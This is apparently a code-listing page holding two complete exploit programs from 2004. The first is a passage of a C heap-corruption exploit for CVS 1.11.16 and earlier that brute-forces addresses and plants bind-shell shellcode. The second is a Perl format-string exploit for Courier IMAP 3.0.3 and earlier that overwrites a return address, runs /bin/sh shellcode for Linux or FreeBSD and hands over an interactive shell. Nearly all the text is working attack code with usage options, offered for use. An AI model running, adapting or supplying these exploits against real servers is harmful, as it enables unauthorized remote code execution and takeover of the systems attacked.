have * the PREV_INUSE-bit _set_. * * Note that the 3 least significant bytes are not used, so * -8 is the lowest negative offset we can use for p->size * and n->size. Thus, achieving multiple overwrites with * a single free() in this case (by making sure nextchunk * is unlink():ed too) would force us to point nextchunk * outside this buffer and therefore rely more heavily on * a specific heap layout to be met. * * When glibc-2.3.3 is detected, we are forced to do this * anyway so multiple overwrite could be used to speed up * bruteforcing. Feel free to add this feature if you feel * like it. ;) */ if (glibc233) n = 0x130; else n = -8; /* * To bypass the security check that was added in glibc-2.3.3 * we only want to do a partial overwrite (2 bytes + terminating * NUL-byte) of the size-field in that case. */ writen(sd, (char *) &n, glibc233 ? 2 : sizeof(n)); if (! glibc233) { /* * For glibc-versions below 2.3.3 we set prev_size to -1 * so we have to write one byte here to get aligned. */ writen(sd, "A", 1); /* * This will be interpreted as the fd-pointer. * Thus, the four bytes at offset 12 to 15 from * code_addr will be overwritten with func_addr. */ writen(sd, (char *) &code_addr, sizeof(code_addr)); /* * This will be interpreted as the bk-pointer. * Thus, the four bytes at offset 8 to 11 from * func_addr will be overwritten with code_addr. * That is why we subtracted 8 from func_addr * in the beginning of this function. */ writen(sd, (char *) &func_addr, sizeof(func_addr)); } if (glibc233) { /* * When glibc 2.3.3 has been detected we only * partially overwritten the size-field, so we * don't want to write anything more to the * string now. * * This creates a problem though. Each line read * by CVS is first stored in a temporary and dynamically * allocated buffer. If we don't write more data * to the line, the entire line is small enough to * be stored in the chunk we want to overwrite and * if that happens we're in trouble. * * Luckily for us we can however write an arbitrary * number of NUL-bytes before the newline-character * to make the line buffer bigger without overwriting * the remaining bytes of the fake error_prog_name * chunks size-field (since the string is only copied * up until the first terminating NUL-byte). */ for (j = 0; j < 9; j++) writen(sd, "\0", 1); } writen(sd, "\n", 1); } /* * Populate heap with our shellcode. */ sock_print(sd, "Entry "); for (i = 0; i < (65530 / 2) - 16 - strlen(code); i++) writen(sd, "\xeb\x0e", 2); for (i = 0; i < 16; i++) writen(sd, "A", 1); sock_printf(sd, "%s\n", code); /* * Send EOF, so the old error_prog_name pointer is free()'d again. */ shutdown(sd, SHUT_WR); /* * Read string to see if exploit succeeded. */ if ((nread = read(sd, buf, sizeof(buf)-1)) == -1) { perror("cvs_argx: read"); return -1; } buf[nread] = '\0'; /* * Shellcode starts with writing "r00t". */ if (! strcmp(buf, "r00t")) return 0; /* * Glibc >= 2.3.3 writes an error message to stderr when encountering * an "invalid" size-field in the chunk. The error message includes * the chunk address, which makes for a nice info-leak too in this * case. CVS is started via inetd, so everything written to stdout and * stderr can be read. */ n = sizeof("free(): invalid pointer 0x")-1; if (chunk_addr == 0 && ! strncmp(buf, "free(): invalid pointer 0x", n)) { fprintf(stderr, "glibc-2.3.3 detected.\n"); if (sscanf(&buf[n], "%08x", (unsigned int *) &chunk_addr) != 1) { fprintf(stderr, "Could not extract chunk address from: %s", buf); return -3; } /* * The address printed is to the pointer being free()'d and not * the actual chunk address, which starts 8 bytes before that. */ chunk_addr -= 8; fprintf(stderr, "Chunk address is: 0x%08x\n", (int) chunk_addr); return -2; } return -1; } void usage(const char *progname) { fprintf(stderr, "Usage: %s [OPTION]... ADDR [PORT]\n", progname); fprintf(stderr, "Linux/x86 exploit for CVS <= 1.11.16 (argumentx)\n\n"); fprintf(stderr, " -r ROOT CVS-root\n"); fprintf(stderr, " -u USER CVS user\n"); fprintf(stderr, " -p PASS CVS password\n"); fprintf(stderr, " -f FROM_ADDR Where to start bruteforcing a function pointer address\n"); fprintf(stderr, " -s STOP_ADDR Where to stop bruteforcing a function pointer address\n"); fprintf(stderr, " -c CODE_ADDR Estimated shellcode address\n"); fprintf(stderr, " -b BIND_PORT Port to bind shell at\n"); fprintf(stderr, " -h Show this help\n"); fprintf(stderr, "\nBy Joel Eriksson <je@bitnux.com>\n"); } int main(int argc, char **argv) { unsigned long from_addr = DEF_FROM_ADDR; unsigned long stop_addr = DEF_STOP_ADDR; unsigned long code_addr = DEF_CODE_ADDR; unsigned long bind_port = DEF_BIND_PORT; unsigned long func_addr; char *root = DEF_ROOT; char *user = DEF_USER; char *arg0 = argv[0]; int port = DEF_PORT; char *pass = "A"; int c, glibc233; char *addr; while ((c = getopt(argc, argv, "u:p:r:f:s:c:b:h")) != -1) switch (c) { case 'r': if ((root = strdup(optarg)) == NULL) { perror("strdup(root)"); return 1; } break; case 'u': if ((user = strdup(optarg)) == NULL) { perror("strdup(user)"); return 1; } break; case 'p': if ((pass = malloc(strlen(optarg)+2)) == NULL) { perror("malloc(pass)"); return 1; } cvs_pass(pass, optarg); break; case 'f': if (sscanf(optarg, "%08x", (unsigned int *) &from_addr) != 1) { fprintf(stderr, "Invalid address: %s\n", optarg); return 1; } if (from_addr % 4) { fprintf(stderr, "Address not aligned on 4-bytes-boundary: 0x%08x\n", (unsigned int) from_addr); return 1; } break; case 's': if (sscanf(optarg, "%08x", (unsigned int *) &stop_addr) != 1) { fprintf(stderr, "Invalid address: %s\n", optarg); return 1; } if (stop_addr % 4) { fprintf(stderr, "Address not aligned on 4-bytes-boundary: 0x%08x\n", (unsigned int) stop_addr); return 1; } break; case 'c': if (sscanf(optarg, "%08x", (unsigned int *) &code_addr) != 1) { fprintf(stderr, "Invalid address: %s\n", optarg); return 1; } break; case 'b': bind_port = atoi(argv[1]); if (bind_port < 1 || bind_port > 65535) { fprintf(stderr, "Invalid port: %s\n", argv[1]); return 1; } break; case '?': case 'h': usage(argv[0]); return 1; } argc -= optind; argv += optind; if (argc < 1 || argc > 2) { usage(arg0); return 1; } addr = argv[0]; if (argc >= 2) { port = atoi(argv[1]); if (port < 1 || port > 65535) { fprintf(stderr, "Invalid port: %s\n", argv[1]); return 2; } } /* * Set the port to bind to in the shellcode. */ *((unsigned short *) &code[28]) = htons(bind_port); /* * Loop to bruteforce a return address or function pointer. * Set from_addr and stop_addr with the -f/-s arguments to * bruteforce any range. In this case I think bruteforcing * a return address is more convenient that bruteforcing a * GOT-entry or .dtors. * * If you have access to the cvs-binary however, then it is * certainly more convenient to extract GOT/dtors-address * and use the -f argument. To extract the dtors-address * you could use: * * objdump -x /path/to/cvs | awk '$2 == ".dtors" { print $4 }' * * Then add 4 to that number to get the address you want to * overwrite, and use that with the -f argument. You should * get a shell on the first attempt, or the exploit has failed * for some reason (e.g. heap layout / wrong return address). */ glibc233 = 0; func_addr = from_addr; for (;;) { int sd, rc; fprintf(stderr, "Trying 0x%08x\n", (int) func_addr); if ((sd = tcp_connect(addr, port, 0)) == -1) return 3; if (cvs_auth(sd, root, user, pass) == -1) return 4; if ((rc = cvs_argx(sd, root, code_addr, func_addr, glibc233)) == 0) { fprintf(stderr, "Exploit succeeded. Shell bound at port %lu\n", bind_port); return 0; } close(sd); if (rc == -3) break; if (rc == -2) { glibc233 = 1; continue; } if (func_addr == stop_addr) break; if (from_addr < stop_addr) func_addr += 4; else func_addr -= 4; } return 1; } |
imap-authdebug.pl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 |
#!/usr/bin/perl # # Linux/x86 & FreeBSD/x86 exploit for Courier IMAP <= 3.0.3. # # Requires DEBUG_LOGIN to be set >= 1 in the imapd config. # # Copyright (C) Joel Eriksson <je@bitnux.com>, Bitnux 2004 # use strict; use IO::Socket::INET; use IO::Select; ########################################################################### # Exit with an error message if more than two arguments are given die "Usage: $0 [ADDR] [PORT]\n" if @ARGV > 2; # Get address and port from the command line, or use default values my $addr = shift || 'localhost'; my $port = shift || 143; ########################################################################### # Make a simple initial test to see if the host is vulnerable or not die "[-] Host does not seem vulnerable.\n" if ! &is_vuln($addr,$port); ########################################################################### # Declaring global variables # There are some chars the shellcode cannot contain for this exploit. # Those are defined in the @illegal_chars list later in this script. # The shellcode starts with doing dup2(1, 2) since stderr does not # point to the socket descriptor (but stdout/stdin does). # Linux/x86 shellcode my $lnux_code = # dup2(1, 2); "\x31\xc0". # xor %eax,%eax "\x31\xdb". # xor %ebx,%ebx "\x31\xc9". # xor %ecx,%ecx "\xb1\x02". # mov $0x2,%cl "\x43". # inc %ebx "\xb0\x3f". # mov $0x3f,%al "\xcd\x80". # int $0x80 # execve("/bin/sh", { "/bin/sh", NULL }, NULL); "\xeb\x14". # jmp jumpme # callme: "\x5a". # pop %edx "\x89\xd3". # mov %edx,%ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x49". # mov $0x49,%al "\x34\x42". # xor $0x42,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xe7\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" # Linux/x86 stack base my $lnux_base = 0xc0000000; # FreeBSD/x86 shellcode my $fbsd_code = # dup2(1, 2); "\x31\xc0". # xor %eax,%eax "\xb0\x02". # mov $0x2,%al "\x50". # push %eax "\x48". # dec %eax "\x50". # push %eax "\xb0\x5a". # mov $0x5a,%al "\x50". # push %eax "\xcd\x80". # int $0x80 # execve("/bin/sh", { "/bin/sh", NULL }, NULL); "\xeb\x0e". # jmp callme # jumpme: "\x5e". # pop %esi "\x31\xc0". # xor %eax,%eax "\x88\x46\x07". # mov %al,0x7(%esi) "\x50". # push %eax "\x50". # push %eax "\x56". # push %esi "\xb0\x3b". # mov $0x3b,%al "\x50". # push %eax "\xcd\x80". # int $0x80 # callme: "\xe8\xed\xff\xff\xff". # call jumpme "/bin/sh"; # .ascii "/bin/sh" # FreeBSD/x86 shellcode my $fbsd_base = 0xbfc00000; my ($code,$base); if (&is_writable($addr,$port,$lnux_base-4)) { # If the Linux stack base minus 4 is writable, # the target is most likely a Linux system. $code = $lnux_code; $base = $lnux_base; } elsif (&is_writable($addr,$port,$fbsd_base-4)) { # If the FreeBSD stack base minus 4 is writable, # the target is most likely a FreeBSD system. $code = $fbsd_code; $base = $fbsd_base; } else { die "[-] Could not determine OS\n"; } ########################################################################### # Determine offset to stack base print STDERR "[*] Determining offset to end of stack\n"; my $end_off = &get_end_offset($addr,$port); die "[-] Could not determine offset to end of stack\n" if $end_off eq 0; print STDERR "[+] Offset to end of stack: $end_off\n"; ########################################################################### # Determine offset to buffer print STDERR "[*] Determining offset to buffer\n"; # Known writable address my $good_addr = pack("L",$base-4); # Known non-writable/invalid address my $evil_addr = "zzzz"; my $buf_off = &get_buf_offset( $addr,$port, 300,$end_off, $good_addr,$evil_addr ); die "[-] Could not determine offset to buffer!\n" if $buf_off eq 0; print STDERR "[+] Offset to buffer: $buf_off\n"; ########################################################################### # Calculate address of buffer my $buf_addr = $base - ($end_off - $buf_off) * 4; printf STDERR "[+] Address of buffer: 0x%08x\n", $buf_addr; ############################################################################ # Bruteforce offset to saved retaddr in auth_debug()'s stack frame # Start trying at offset 260 (due to 1024 bytes buf, minimum 257) my $min_off = 260; # 32 tries should be enough to reach ret in auth_debug()'s stack frame my $max_off = $min_off + 32; for my $ret_off ($min_off..$max_off) { my $ret_addr = $base - ($end_off - $ret_off) * 4; exit 0 if &try_xpl($addr,$port,$buf_off,$buf_addr,$ret_addr,$code); } print STDERR "Exploit failed!\n"; exit 1; ########################################################################### BEGIN { my @illegal_chars; # We don't want to use chars that are handled specially # by do_readtoken() in src/imaptoken.c. At least not if # we want those chars to be copied into the 'tag' buffer # in mainloop() (imap/mainloop.c). A backslash (0x5c) is # okay as the _first_ character in the buffer though. push @illegal_chars, chr(0x28); # ( push @illegal_chars, chr(0x29); # ) push @illegal_chars, chr(0x5b); # [ push @illegal_chars, chr(0x5d); # ] push @illegal_chars, chr(0x7b); # { push @illegal_chars, chr(0x7d); # } push @illegal_chars, chr(0x22); # " push @illegal_chars, chr(0x5c); # \ push @illegal_chars, chr(0x20); # SPACE push @illegal_chars, chr(0x0c); # \f push @illegal_chars, chr(0x0a); # \n push @illegal_chars, chr(0x0d); # \r push @illegal_chars, chr(0x09); # \t push @illegal_chars, chr(0x0b); # \v push @illegal_chars, chr(0x00); # NUL # Connect to an imap-server, read and discard the banner message. sub imap_connect { my ($addr,$port) = @_; my ($sock,$line); # Connect to server $sock = IO::Socket::INET->new( PeerAddr => $addr, PeerPort => $port, Proto => 'tcp' ) or die "imap_connect: $!\n"; my $sel = new IO::Select($sock); # Wait max 5 seconds for the banner. if ($sel->can_read(5.0)) { # Read line from socket $line = <$sock>; } else { close $sock; return 0; } $sock->autoflush(1); return $sock; } # Try a format string and return the response. Mostly used # to distuingish between format strings that causes a crash # and format strings that does not. sub try_fmt { my ($addr,$port,$fmt) = @_; for (@illegal_chars) { if (index($fmt,$_) != -1 && ($_ ne chr(0x5c) || index($fmt,$_,1) != -1)) { printf STDERR "try_fmt: Illegal char (0x%02x) in string\n", ord($_); return ""; } } # Connect to server my $sock = &imap_connect($addr,$port); # Send format string print $sock "$fmt\n"; # Read line from socket my $line = <$sock>; # Close connection $sock->close(); # Return line return $line; } # Checks if the server is vulnerable by checking if it # receives an error message starting with the string sent # if it sends a harmless string, and if it causes a crash # (e.g. closed connection) when sending a format string # that writes via a number of pointers on the stack. sub is_vuln { my ($addr,$port) = @_; my $line; $line = &try_fmt($addr,$port,"test"); return 0 if ! defined($line) || ! $line =~ /^test/; $line = &try_fmt($addr,$port,"%n%n%n%n%n%n%n%n"); return 0 if defined($line) && $line ne ""; return 1; } # Checks if an address is writable by writing via a # pointer on the stack on an offset large enough to # always be somewhere inside the 'tag' buffer and # embed the address to write to there (1024 times). # # If it causes a crash, the address is not writable. sub is_writable { my ($addr,$port,$ow_addr) = @_; my $line; my $fmt = "%1024\$n."; $fmt .= pack("L",$ow_addr)x1024; $line = &try_fmt($addr,$port,$fmt); return 0 if ! defined($line) || $line eq ""; return 1; } # Determine the offset to the end of the stack sub get_end_offset { my ($addr,$port) = @_; # Step-size when bruteforcing the offset to the end of the stack my $step_size = 256; # Initialize n (offset to test) my $n = $step_size * 20; my ($min,$max) = (0,1000000); # Determine initial step direction my $line = &try_fmt($addr,$port,"%$n\$x"); # Step downwards if crash $step_size = -$step_size if ! defined($line) || $line eq ""; while ($n > 0 && abs($step_size) > 1) { # Adjust n (offset to test) $n += $step_size; if ($step_size > 0) { # If searching for crash-offset if ($n >= $max) { $step_size = -($step_size / 2); $n += $step_size; } } else { # If searching for non-crash-offset if ($n <= $min) { $step_size = -($step_size / 2); $n += $step_size; } } # print STDERR "Trying $n... "; $line = &try_fmt($addr,$port,"%$n\$x"); if (defined($line) && $line ne "") { # print STDERR "works, min = $n\n"; $min = $n; } else { # print STDERR "crash, max = $n\n"; $max = $n; } if ($step_size > 0) { # If searching for crash-offset $step_size = -($step_size / 2) if ! defined($line) || $line eq ""; } else { # If searching for non-crash-offset $step_size = -($step_size / 2) if defined($line) && $line ne ""; } } if ($n <= 0) { # Return 0 if the search failed return 0; } else { # Return the minimum offset that causes a crash return $min + 1; } } # Determine the offset to the end of the buffer sub get_buf_offset { my ($addr,$port,$min,$max,$good_addr,$evil_addr) = @_; for my $n ($min..$max) { # Send format string to write to address at offset N # and embed a known writable address in the buffer. my $line = &try_fmt($addr,$port,"${good_addr}%$n\$n"); # Try again, with $evil_addr, if it did not crash if (defined($line) && $line ne "") { # Send format string to write to address at offset N # and embed a known non-writable address in the buffer. $line = &try_fmt($addr,$port,"${evil_addr}%$n\$n"); # Return the offset if it crashed this time return $n if ! defined($line) or $line eq ""; } } return 0; } # Construct a format string to write the ow_data-value (1st arg) # to the ow_addr-address (2nd arg), when the offset to the buffer # on the stack is buf_off (3rd arg) bytes. sub xpl_fmt { my ($ow_data,$ow_addr,$buf_off) = @_; # Extract the low / high 16 bits of ow_data my $lo_data = ($ow_data >> 0x00) & 0xffff; my $hi_data = ($ow_data >> 0x10) & 0xffff; # Determine which part to overwrite with 1st/2nd write my $data1 = $lo_data < $hi_data ? $lo_data : $hi_data; my $data2 = $lo_data < $hi_data ? $hi_data : $lo_data; # Calculate size of filler before 1st/2nd write my $n1 = $data1 - length("command=") - 8; my $n2 = $data2 - $data1; # Set address to overwrite with 1st/2nd write my $ow_addr1 = $lo_data < $hi_data ? $ow_addr + 0 : $ow_addr + 2; my $ow_addr2 = $lo_data < $hi_data ? $ow_addr + 2 : $ow_addr + 0; # Set offset to mbedded ow_addr1/ow_addr2 my $buf_off1 = $buf_off + 0; my $buf_off2 = $buf_off + 1; my $fmt; # Construct format string to overwrite ow_addr $fmt .= pack("L",$ow_addr1); # Addr to overwrite with data1 $fmt .= pack("L",$ow_addr2); # Addr to overwrite with data2 $fmt .= "%${n1}u%$buf_off1\$hn"; # Overwrite ow_addr1 $fmt .= "%${n2}u%$buf_off2\$hn"; # Overwrite ow_addr2 return $fmt; } # Make an exploit attempt. sub try_xpl { my ($addr,$port,$buf_off,$buf_addr,$ow_addr,$code) = @_; # Pad buffer to this size before appending the shellcode my $pad_until = 64; # Calculate address of shellcode my $ow_data = $buf_addr + $pad_until; my $fmt; # Construct format string to overwrite ow_addr (hopefully a # return address) with the address to our shellcode. $fmt .= &xpl_fmt($ow_data,$ow_addr,$buf_off); # Make exploit string $fmt .= "A"x($pad_until-length($fmt)); # Pad to pad_until bytes $fmt .= $code; # Shellcode for (@illegal_chars) { if (index($fmt,$_) != -1 && ($_ ne chr(0x5c) || index($fmt,$_,1) != -1)) { printf STDERR "[-] Skipping 0x%08x due to illegal char (0x%02x)\n", $ow_addr, ord($_); return ""; } } printf STDERR "[*] Overwriting 0x%08x with shellcode address\n", $ow_addr; # Connect to server my $sock = &imap_connect($addr,$port); # Send format string print $sock "$fmt\n"; # To make sure commands are sent in a different packet select(undef,undef,undef,0.1); # Send commands to be executed print $sock "echo r00t; uname -a; id\n"; my $line; do { # Read line from socket $line = <$sock>; } while (defined($line) && $line =~ /^sh:/); if (defined($line) && $line eq "r00t\n") { print STDERR "Exploit succeeded, dropping you into a shell.\n"; copy_loop($sock); close $sock; return 1; } return 0; } # Relay data between the socket and stdin/stdout sub copy_loop { my ($sock) = @_; # Spawn child process my $child = fork(); # Define signal handler for SIGINT $SIG{INT} = sub { exit }; if ($child) { # In parent process # Read data from socket and send to stdout while (<$sock>) { print } # Send SIGINT when the server has closed the connection kill 2, $child; } else { # In child process # Read data from stdin and send to socket while (<>) { print $sock $_ } } } } |